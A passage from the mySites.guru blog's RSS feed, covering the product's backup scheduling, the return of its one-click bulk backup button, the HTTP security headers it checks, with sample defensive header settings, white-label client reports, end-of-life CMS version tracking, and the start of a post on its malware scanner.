&lt;p&gt;&lt;img src=&quot;https://mysites.guru/img/blog/Screen-Recording-2024-01-29-at-20.28.26.gif&quot; alt=&quot;Running a backup across multiple sites in mySites.guru with a single click&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Where are your backups stored?&lt;/h2&gt;
&lt;p&gt;Wherever you tell Akeeba to store them.&lt;/p&gt;
&lt;p&gt;With &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup&lt;/a&gt; profiles, you set the destination: Amazon S3, Dropbox, Azure, BackBlaze, Box.com, Rackspace, FTP, or your own server (though we don’t recommend keeping them only on the server).&lt;/p&gt;
&lt;h2&gt;Are backups stored in mySites.guru?&lt;/h2&gt;
&lt;p&gt;No. Never. mySites.guru triggers and monitors your backups, but the files themselves live wherever you tell Akeeba to put them.&lt;/p&gt;
&lt;h2&gt;How do backup notifications work?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduler&lt;/a&gt; notifies you based on your preferences: when a backup starts, when it finishes, and always when something goes wrong. Your &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;bookkeeper or accountant&lt;/a&gt; is excluded from backup alerts by default, so operational noise never ends up in their inbox.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru backup scheduler notification settings showing options for backup start, completion, and failure alerts&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;576&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-20.10.42-1024x576.DvlCej1h_2hqzEv.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-20.10.42-1024x576.DvlCej1h_1wo2h7.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.10.42-1024x576.DvlCej1h_ZUijcR.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.10.42-1024x576.DvlCej1h_10Cj1H.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-20.10.42-1024x576.DvlCej1h_2hqzEv.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;WordPress users: All-In-One Migration Plugin support&lt;/h3&gt;
&lt;p&gt;WordPress users aren’t limited to Akeeba. You can also use the All-In-One Migration Plugin for your backups. The same scheduling interface and &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; are available in mySites.guru for that plugin too.&lt;/p&gt;
&lt;p&gt;For guidance on fitting backups into a broader update and maintenance workflow, see the &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Run a free audit&lt;/a&gt; to see how mySites.guru handles backups across all your sites.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>akeeba</category><category>joomla</category><category>wordpress</category><category>scheduling</category><enclosure url="https://mysites.guru/img/og/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Backup All Your Sites With One Click</title><link>https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/</guid><description>The one-click Backup All Sites button is back in mySites.guru, now with a per-site default backup profile to power the bulk backup queue.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ok, I screwed up. I admit it and Im sorry. We recently introduced &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Unlimited Backup Schedules per site&lt;/a&gt; and in doing so introduced a logic bug that caused us to remove the “Backup All Sites” in one go feature.&lt;/p&gt;
&lt;p&gt;Lets talk about that - tl;dr; &lt;strong&gt;The Backup All Sites button has returned!!!&lt;/strong&gt; :-)&lt;/p&gt;
&lt;p&gt;One of the things we do well is respond fast - to emerging hack threats, security incidents, and requests from customers. We can deploy new features the same day, sometimes multiple times a day, with zero downtime.&lt;/p&gt;
&lt;p&gt;This is one of those times.&lt;/p&gt;
&lt;h2&gt;What caused the problem?&lt;/h2&gt;
&lt;p&gt;On implementing Unlimited Backup Schedules per site, we introduced a logic bug. This is caused because before that change, we stored a single Backup Profile per site.&lt;/p&gt;
&lt;p&gt;This meant that when you clicked the “Backup all sites” we knew which of the unlimited backup profiles to run on each site.&lt;/p&gt;
&lt;p&gt;When we introduced multiple schedules, you were then able to select a different backup profile per schedule, we no longer had a default profile per site, only a profile per schedule.&lt;/p&gt;
&lt;p&gt;This meant that we could not provide a “backup all sites” feature, as we did not know which profile to run for each site!&lt;/p&gt;
&lt;h2&gt;What was the solution?&lt;/h2&gt;
&lt;p&gt;The solution was pretty simple really, we reverted some code to allow us to re-implement the “Backup All” button on the Schedules tab of the “Scheduled Backups” page&lt;/p&gt;
&lt;p&gt;We then added new features to allow you to select a default backup profile per site. You can do this on the schedules page, or on the Settings Tab of Manage Site page.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 21.21.27&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;754&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-27-21.21.27-1024x754.CvZdaBBA_11MCqa.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-27-21.21.27-1024x754.CvZdaBBA_2wU6Nk.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-27-21.21.27-1024x754.CvZdaBBA_1SXAUD.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-27-21.21.27-1024x754.CvZdaBBA_Z2ifiLo.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-27-21.21.27-1024x754.CvZdaBBA_11MCqa.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can still filter your sites before pressing the new &lt;strong&gt;“Start Backup Of All Sites Visible Below”&lt;/strong&gt; button.  The &lt;a href=&quot;https://mysites.guru/website-backups/&quot;&gt;website backups&lt;/a&gt; page covers the rest of the backup features.&lt;/p&gt;
&lt;p&gt;Once you click the button you get a chance to back out ;-)&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;679&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-10-06-at-20.12.44-1024x679.BCXhvYw5_LTEzc.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-10-06-at-20.12.44-1024x679.BCXhvYw5_1RsKDf.webp 640w, https://mysites.guru/_astro/Screenshot-2020-10-06-at-20.12.44-1024x679.BCXhvYw5_Z1RoxhC.webp 750w, https://mysites.guru/_astro/Screenshot-2020-10-06-at-20.12.44-1024x679.BCXhvYw5_27pAIM.webp 828w, https://mysites.guru/_astro/Screenshot-2020-10-06-at-20.12.44-1024x679.BCXhvYw5_LTEzc.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;one click of that blue button and we usher your request into our backup queue and process the backups as fast as we can - we will redirect you to see a list of your running backups where you can sit and watch them, or you can close your browser/browser elsewhere because the backups will continue regardless of your actions.&lt;/p&gt;
&lt;p&gt;Thanks to all those that told us how valuable this feature was, and tested the new implementation. We ♥️ you!&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>joomla</category><category>wordpress</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Check your site&apos;s security headers</title><link>https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/</guid><description>mySites.guru checks eight HTTP security headers on every snapshot - CSP, HSTS, X-Frame-Options and more - to help you harden against XSS and clickjacking.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your web server can send a handful of HTTP response headers that make life harder for attackers. Spoofing, XSS, clickjacking: these headers won’t stop everything, but they raise the bar. mySites.guru checks eight of them on every &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, twice a day, and our &lt;a href=&quot;https://mysites.guru/tools/security-headers/&quot;&gt;security headers reference&lt;/a&gt; covers the remediation for each one in more detail.&lt;/p&gt;
&lt;h2&gt;Which eight headers does mySites.guru check?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Content-Security-Policy&lt;/strong&gt; - controls which resources the browser is allowed to load&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expect-CT&lt;/strong&gt; - enforces Certificate Transparency requirements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature-Policy&lt;/strong&gt; - flagged if present (this header is deprecated)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permissions-Policy&lt;/strong&gt; - the replacement for Feature-Policy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Referrer-Policy&lt;/strong&gt; - controls how much referrer info is sent with requests&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strict-Transport-Security&lt;/strong&gt; - forces HTTPS connections&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X-Content-Type-Options&lt;/strong&gt; - prevents MIME-type sniffing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X-Frame-Options&lt;/strong&gt; - protects against clickjacking&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Headers alone won&apos;t save you&lt;/p&gt;
  &lt;p&gt;Security headers are best practice, not a silver bullet. &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Learn about them&lt;/a&gt; and apply them where possible, but don&apos;t assume they make your site bulletproof.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru security header check results showing pass/fail status for each header&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;373&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-10-05-at-20.53.03-1024x373.g8tdWekR_1OisU2.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-10-05-at-20.53.03-1024x373.g8tdWekR_Z29SVd6.webp 640w, https://mysites.guru/_astro/Screenshot-2020-10-05-at-20.53.03-1024x373.g8tdWekR_Z1u1OAT.webp 750w, https://mysites.guru/_astro/Screenshot-2020-10-05-at-20.53.03-1024x373.g8tdWekR_ZN5eS2.webp 828w, https://mysites.guru/_astro/Screenshot-2020-10-05-at-20.53.03-1024x373.g8tdWekR_1OisU2.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What does each header actually do?&lt;/h2&gt;
&lt;h3&gt;Content-Security-Policy (CSP)&lt;/h3&gt;
&lt;p&gt;CSP tells the browser which domains are allowed to serve scripts, styles, images, and other resources on your page. Without it, an attacker who finds an XSS hole can inject a script from anywhere and the browser will run it without question.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Content-Security-Policy:&lt;/span&gt;&lt;span&gt; default-src &apos;self&apos;; script-src &apos;self&apos; https://cdn.example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That says: only load resources from my own domain, only run scripts from my domain or my CDN, block everything else. Getting CSP right is fiddly. Too strict and you break your own site. Too loose and it’s decoration. But even a basic policy beats having none.&lt;/p&gt;
&lt;h3&gt;Strict-Transport-Security (HSTS)&lt;/h3&gt;
&lt;p&gt;HSTS tells browsers to only connect over HTTPS, even if someone types &lt;code&gt;http://&lt;/code&gt; or clicks an old HTTP link. Without it, the very first request can be intercepted before the redirect to HTTPS kicks in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Strict-Transport-Security:&lt;/span&gt;&lt;span&gt; max-age=31536000; includeSubDomains&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;max-age&lt;/code&gt; is in seconds. 31536000 is one year. Once a browser sees this, it won’t even try HTTP for that long. &lt;code&gt;includeSubDomains&lt;/code&gt; covers your subdomains too.&lt;/p&gt;
&lt;h3&gt;X-Frame-Options&lt;/h3&gt;
&lt;p&gt;X-Frame-Options prevents your site from being loaded inside an iframe on someone else’s domain. Why care? Clickjacking. An attacker loads your site in a hidden iframe, overlays it with something innocent-looking, and tricks users into clicking buttons on your site without realising it - changing passwords, making purchases, whatever.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;X-Frame-Options:&lt;/span&gt;&lt;span&gt; SAMEORIGIN&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SAMEORIGIN&lt;/code&gt; means your own site can still iframe itself (useful for admin panels and previews) but no one else can. &lt;code&gt;DENY&lt;/code&gt; blocks all framing, including from your own domain.&lt;/p&gt;
&lt;h3&gt;Content-Security-Policy vs X-Frame-Options&lt;/h3&gt;
&lt;p&gt;CSP has a &lt;code&gt;frame-ancestors&lt;/code&gt; directive that does the same job as X-Frame-Options, and it’s more flexible. But older browsers don’t support &lt;code&gt;frame-ancestors&lt;/code&gt;, so the recommendation is to set both. They don’t conflict - browsers that understand CSP use &lt;code&gt;frame-ancestors&lt;/code&gt;, older ones fall back to X-Frame-Options.&lt;/p&gt;
&lt;h3&gt;X-Content-Type-Options&lt;/h3&gt;
&lt;p&gt;Browsers sometimes try to be clever and “sniff” the content type of a response instead of trusting the &lt;code&gt;Content-Type&lt;/code&gt; header. An attacker can exploit this by uploading a file that looks like an image but contains JavaScript - the browser sniffs it, decides it’s a script, and executes it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;X-Content-Type-Options:&lt;/span&gt;&lt;span&gt; nosniff&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One value. Tells the browser to trust the declared content type and stop guessing. Just set it.&lt;/p&gt;
&lt;h3&gt;Referrer-Policy&lt;/h3&gt;
&lt;p&gt;When someone clicks a link from your site to another site, the browser sends a &lt;code&gt;Referer&lt;/code&gt; header (yes, the HTTP spec misspelled “referrer” in 1996 and we’re stuck with it) telling the destination where the click came from. That can leak URL paths, query parameters, or session tokens you’d rather keep private.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Referrer-Policy:&lt;/span&gt;&lt;span&gt; strict-origin-when-cross-origin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strict-origin-when-cross-origin&lt;/code&gt; sends just the origin (&lt;code&gt;https://yoursite.com&lt;/code&gt;) on cross-origin requests but strips the path. Same-origin navigations still get the full URL, so your own analytics aren’t affected.&lt;/p&gt;
&lt;h3&gt;Permissions-Policy&lt;/h3&gt;
&lt;p&gt;Permissions-Policy controls which browser APIs your site can use: camera, microphone, geolocation, payment, autoplay, and plenty more. If you don’t use the camera, disable it. If someone manages to inject code into your page, they still can’t turn on the webcam.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Permissions-Policy:&lt;/span&gt;&lt;span&gt; camera=(), microphone=(), geolocation=()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Empty parentheses &lt;code&gt;()&lt;/code&gt; means “no one, not even this page.” You can also allow specific origins if you need them.&lt;/p&gt;
&lt;p&gt;This header replaced the older Feature-Policy header. If your site still sends Feature-Policy, mySites.guru will flag it - you should switch to Permissions-Policy instead.&lt;/p&gt;
&lt;h3&gt;Expect-CT&lt;/h3&gt;
&lt;p&gt;Expect-CT was supposed to ensure that certificates for your domain show up in Certificate Transparency logs, catching misissued or rogue certs.&lt;/p&gt;
&lt;p&gt;Browsers have made this header redundant. Chrome dropped Expect-CT support entirely, and other browsers enforce Certificate Transparency by default now. mySites.guru still checks for it, but this one’s a footnote. Focus on the other seven.&lt;/p&gt;
&lt;h2&gt;How do you check your headers without an account?&lt;/h2&gt;
&lt;p&gt;If you want a quick standalone check, &lt;a href=&quot;https://securityheaders.com&quot;&gt;securityheaders.com&lt;/a&gt; is a good tool. We link to it throughout the mySites.guru snapshot checks too.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://securityheaders.com&quot;&gt;&lt;img alt=&quot;securityheaders.com scan results showing header grades and recommendations&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;963&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-10-05-at-21.10.42-1024x963.BvKvAtNi_ZkPhig.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-10-05-at-21.10.42-1024x963.BvKvAtNi_2lGudt.webp 640w, https://mysites.guru/_astro/Screenshot-2020-10-05-at-21.10.42-1024x963.BvKvAtNi_1ceYgC.webp 750w, https://mysites.guru/_astro/Screenshot-2020-10-05-at-21.10.42-1024x963.BvKvAtNi_bx7eb.webp 828w, https://mysites.guru/_astro/Screenshot-2020-10-05-at-21.10.42-1024x963.BvKvAtNi_ZkPhig.webp 1024w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Headers are one layer of defence. For file-level detection of existing compromises, the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; scans your entire webspace for malware, backdoors, and suspicious code patterns. Headers are one of over 140 things mySites.guru checks on each site, from &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;file-level security audits&lt;/a&gt; to PHP config to SSL certificates. All visible from your &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Security headers are covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;full agency security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security headers</category><category>security</category><category>snapshot</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/check-your-websites-security-headers-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>White-Label Client Reports for Your Sites</title><link>https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/</guid><description>Build unlimited branded report templates in mySites.guru. Assign them to scheduled reports and send white-label updates directly to clients.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’ve just launched the &lt;strong&gt;Custom Report Designer&lt;/strong&gt; for the &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label reporting tool&lt;/a&gt; in mySites.guru.&lt;/p&gt;
&lt;p&gt;This feature allows you to create &lt;strong&gt;UNLIMITED&lt;/strong&gt; (unlimited, as is everything in mySites.guru) custom templates for your reports, which can then be assigned to your scheduled (and manually run) report configurations.&lt;/p&gt;
&lt;p&gt;You can use this feature to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a custom layout, with your own logo, fonts, styles, colours&lt;/li&gt;
&lt;li&gt;Move around the sections in the reports&lt;/li&gt;
&lt;li&gt;Remove or add sections&lt;/li&gt;
&lt;li&gt;Create one layout and reuse it on multiple reports&lt;/li&gt;
&lt;li&gt;Centrally manage all your custom templates for reports&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our reports are all HTML. You know HTML. The world knows HTML. &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;There are good reasons&lt;/a&gt; we chose HTML over PDF, doing so gives you COMPLETE CONTROL, using tools you know, over the look and feel!&lt;/p&gt;
&lt;p&gt;This gives you the ability to brand the reports to your own brand. Combined with &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;, you can deliver a fully white-labelled experience to clients.&lt;/p&gt;
&lt;h2&gt;What if I already had customised templates?&lt;/h2&gt;
&lt;p&gt;Dont panic! We migrated your custom templates into the new Custom Report Designer, and reassigned those back to your report configs.&lt;/p&gt;
&lt;p&gt;You can find them your customised templates on the &lt;a href=&quot;https://manage.mysites.guru/en/reports/designer/&quot;&gt;Custom Report Designer&lt;/a&gt; page in your account.&lt;/p&gt;
&lt;h3&gt;BONUS: You can even send the emails from YOUR email address, so when they arrive at your clients, there is no mention of mySites.guru (or &lt;a href=&quot;mailto:phil@phil-taylor.com&quot;&gt;phil@phil-taylor.com&lt;/a&gt;!)&lt;/h3&gt;
&lt;p&gt;Thats right, just set your DNS correctly to ensure deliverability (we walk you through that) and then you are all set!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Client reporting is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>reports</category><category>white-label</category><category>agency tools</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/img/og/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites.webp" length="0" type="image/webp"/></item><item><title>End-of-Life Version Support in mySites.guru</title><link>https://mysites.guru/blog/end-of-life-supported-versions/</link><guid isPermaLink="true">https://mysites.guru/blog/end-of-life-supported-versions/</guid><description>mySites.guru monitors end-of-life Joomla and WordPress versions from 1.5 to 6, alerting you when sites run unsupported software that puts them at risk.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a perfect world, every site would run the latest version of Joomla or WordPress. In practice, plenty of sites are stuck on old releases. Sometimes very old ones, including &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/joomla-3-end-of-life/&quot;&gt;Joomla 3, which reached end of life in 2023&lt;/a&gt;. mySites.guru was built with that in mind.&lt;/p&gt;
&lt;h2&gt;Joomla Support Goes Back to 1.5.0&lt;/h2&gt;
&lt;p&gt;Most management services only work with recent Joomla releases. mySites.guru connects to every version from Joomla 1.5.0 onwards. The full 1.5, 2.x, &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;3.x&lt;/a&gt;, 4, 5, and 6 series, all with a single plugin.&lt;/p&gt;
&lt;p&gt;Joomla 1.5.0 was released in January 2008. The final 1.5.x release (1.5.26) came out in 2012. To support versions that old, our plugin has to stay compatible with PHP 5.3.9+. That took real work to get right.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Running old versions is a risk&lt;/p&gt;
  &lt;p&gt;We support old Joomla versions so you can manage and migrate them, not so you can leave them sitting there. PHP 5.3 is long past end-of-life and has known security vulnerabilities. You need to see what you&apos;re dealing with before you can fix it.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/img/blog/Screen-Recording-2020-04-02-at-08.51-pm.gif&quot; alt=&quot;mySites.guru end-of-life version detection animated walkthrough&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you still have &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3 sites&lt;/a&gt;, mySites.guru has a tool to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;fix known Joomla 3 security issues with a single click&lt;/a&gt;. Worth running on anything that hasn’t been migrated to Joomla 4+ yet.&lt;/p&gt;
&lt;h2&gt;WordPress Version Tracking Across Your Portfolio&lt;/h2&gt;
&lt;p&gt;mySites.guru tracks WordPress version support too and flags sites that fall behind. WordPress has had automatic updates for years, so there are fewer ancient installations compared to Joomla. But outdated WordPress sites absolutely still exist, and they get targeted. Version bumps like &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;WordPress 7.0 “Armstrong”&lt;/a&gt; (released 20 May 2026, dropping PHP 7.2/7.3 entirely) can leave sites stranded on old branches if you’re not tracking PHP versions across your portfolio.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru showing a Joomla 2.5.28 end-of-life warning&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;234&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-02-at-20.53.52-1024x234.B_c03i4T_1HAsP8.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-02-at-20.53.52-1024x234.B_c03i4T_Z1s5T3e.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-02-at-20.53.52-1024x234.B_c03i4T_Z2iVImX.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-02-at-20.53.52-1024x234.B_c03i4T_Z1osDQR.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-02-at-20.53.52-1024x234.B_c03i4T_1HAsP8.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Why Should You Upgrade Immediately After a Release?&lt;/h2&gt;
&lt;p&gt;Every Joomla or WordPress release includes notes about the security issues it fixes. Once that information is public, attackers start probing sites that haven’t updated yet. The common advice to “wait a few days to see if anything breaks” is exactly backwards. Those first few days after a release are when your site is most exposed. The &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 release on 26 May 2026&lt;/a&gt; is a good recent example - ten CVEs published in one go, including a High-severity com_users privilege escalation that has existed since Joomla 4.0.0.&lt;/p&gt;
&lt;p&gt;PHP has its own end-of-life clock, separate from your CMS, and it runs on a different schedule: two years of active support, two more years of security fixes, then nothing. &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;How PHP branches and patch levels are tracked&lt;/a&gt; covers which versions are still supported and why a higher version number is not always the newer release.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Keep everything up to date&lt;/a&gt; across all your sites, run regular &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audits&lt;/a&gt;, and let mySites.guru tell you when something falls behind.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Version lifecycle management is covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>end-of-life</category><category>security</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/end-of-life-supported-versions.webp" length="0" type="image/webp"/></item><item><title>Find Hacks and Backdoors in WordPress &amp; Joomla</title><link>https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/</guid><description>Scan your WordPress and Joomla sites for malware, backdoors, and suspicious files. Hash-based detection and 1,500+ regex patterns.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/tools/file-information/suspect-content/&quot;&gt;&lt;strong&gt;suspect content tool&lt;/strong&gt;&lt;/a&gt; scans every file in your webspace for malware, backdoors, and suspicious code - without exception. It’s the most-used tool in the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit suite&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you already know your &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress site has been hacked&lt;/a&gt; or your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, skip straight to our step-by-step recovery guides. Not sure if you’ve been hacked? Read &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is compromised&lt;/a&gt; first. Or if you just want to scan your files, our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; can check and tell you what’s there. For the product overview, see the &lt;a href=&quot;https://mysites.guru/joomla-malware-scanner/&quot;&gt;Joomla malware scanner&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;The average number of files across the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;90,000+ sites connected to mySites.guru&lt;/a&gt; is just under 20,000. The suspect content tool narrows that down to a handful of files worth looking at.&lt;/p&gt;
&lt;h2&gt;How the mySites.guru audit gathers data&lt;/h2&gt;
